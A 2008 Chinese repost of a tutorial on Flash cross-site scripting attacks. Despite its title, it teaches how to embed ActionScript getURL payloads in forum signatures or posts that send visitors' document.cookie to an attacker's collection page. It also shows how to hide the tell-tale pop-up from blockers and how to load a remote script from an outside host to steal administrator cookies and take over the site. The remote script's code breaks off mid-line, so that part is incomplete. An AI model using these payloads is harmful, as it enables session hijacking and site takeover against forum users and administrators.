如何防止Flash跨站攻击弹出IE窗口
来源:互联网
作者:west263.com
时间:2008-04-16
西部数码-全国虚拟主机10强!40余项虚拟主机管理功能,全国领先!双线多线虚拟主机南北访问畅通无阻!免费赠送企业邮局,.CN域名,自助建站480元起,免费试用7天,满意再付款! P4主机租用799元/月.月付免压金!
一般来说大家在进行Flash跨站攻击时都是自己做一个Flash动画,并在第一帧中加入用于跳转到其他URL的AtionScript脚本函数,如下:
getURL("JavaScript:window.open('http://用于收集Cookie的网页地址?' document.cookie)","_self")
然后把这个Flash动画置于论坛中的签名、贴子或短信消息中,用来获得管理员或用户的Cookie,从而得到管理权限,进一步伺机控制整个站点,最终达到自己的目的。我们能够看到在整个跨站攻击中最重要的就是这个AtionScript脚本啦!也就是这个脚本中用到的代码打开了一个我们又爱又恨的窗口,所以我们也只能从改造这个脚本代码来实现隐藏或是去掉弹出的IE窗口,除此外别无他法!
我们先分析一下上面的AtionScript脚本,他使用AtionScript脚本函数"getURL"跳转到一个使用JavaScript协议的URL(JavaScript协议后面就是我们很熟悉的JavaScript脚本代码),在JavaScript中使用document.cookie的到Cookie,并把Cookie和一个用于收集Cookie的网页地址连成一个http协议的URL地址,最后使用window.open打开合成的URL地址,从而把Cookie用GET方式发送到用于收集Cookie的网页,并记录下来。
通过上面的分析我们进一步了解那个弹出的IE窗口是由于JavaScript协议中的代码window.open所生成的,相信大家都知道window.open的第二个参数用来指定打开的窗口的名字,其通用名称有"_media (IE6.0 在浏览器左边的媒体面板内打开)"、"_blank (在新窗口中打开)"、"_parent (在当前框架的父框架内打开。假如当前框架无父框架,此参数值等同于 _self)"、"_search (IE5.0 在浏览器左边的搜索面板内打开)"、"_self(在当前窗口中打开,覆盖当前文档)"、"_top (在任何框架之外的最顶层窗口中打开 。假如当前窗口无框架结构,此参数值等同于 _self )"等几种,假如我们以"_search"来打开窗口,不是就没有了弹出的IE窗口了吗?AtionScript脚本改为:
getURL("JavaScript:window.open('http://用于收集Cookie的网页地址?' document.cookie,'_search')","_self")
当然,这样做会打开搜索面板,也会引起怀疑,但却能够躲过那些关闭弹出窗口软件的追杀!姑且也算一种方法吧!
假如仅仅是上面所说的,相信不少读者要把我。。。。。。
看到这里聪明的您是不是想到了点解决的思路?对!既然支持JavaScript啦,更有啥东东会不能解决呢?JavaScript真的是好处多多呀!
假如您曾看了我的那篇"打造一个完美的IE网页木马"的文章,并且您对其中的代码深深理解的话,您能够自己先去想象一下啦!呵呵......
在那篇文章中有下面这样一段代码:
jsurl="http://www.godog.y365.com/wodemuma/icyfox.js".replace(///g,'//');
window.open("file:javascript:document.all.tags('SCRIPT')[0].src='" jsurl "';eval();","icyfoxlovelace");
使用了javascript协议把自己网站上的一个js代码文档插入到了本地文档中,同样的道理我们也能够用他把一个js代码文档插入到进行跨站攻击的论坛网页中,相应的AtionScript脚本改为:
getURL("JavaScript:document.all.tags('SCRIPT')[0].src='http://www.godog.y365.com/wodemuma/icyfox.js';eval();","_self")
其中icyfox.js得内容如下:
cookieurl="http://用于收集Cookie的网页地址?cookie=" escape(document.cookie);
/*这里使用了escape()对cookie编码,用来防止cookie中的一些特别字符*/
document.body.insertAdjacentHTML('beforeEnd','
文章整理:西部数码--专业提供域名注册、虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!



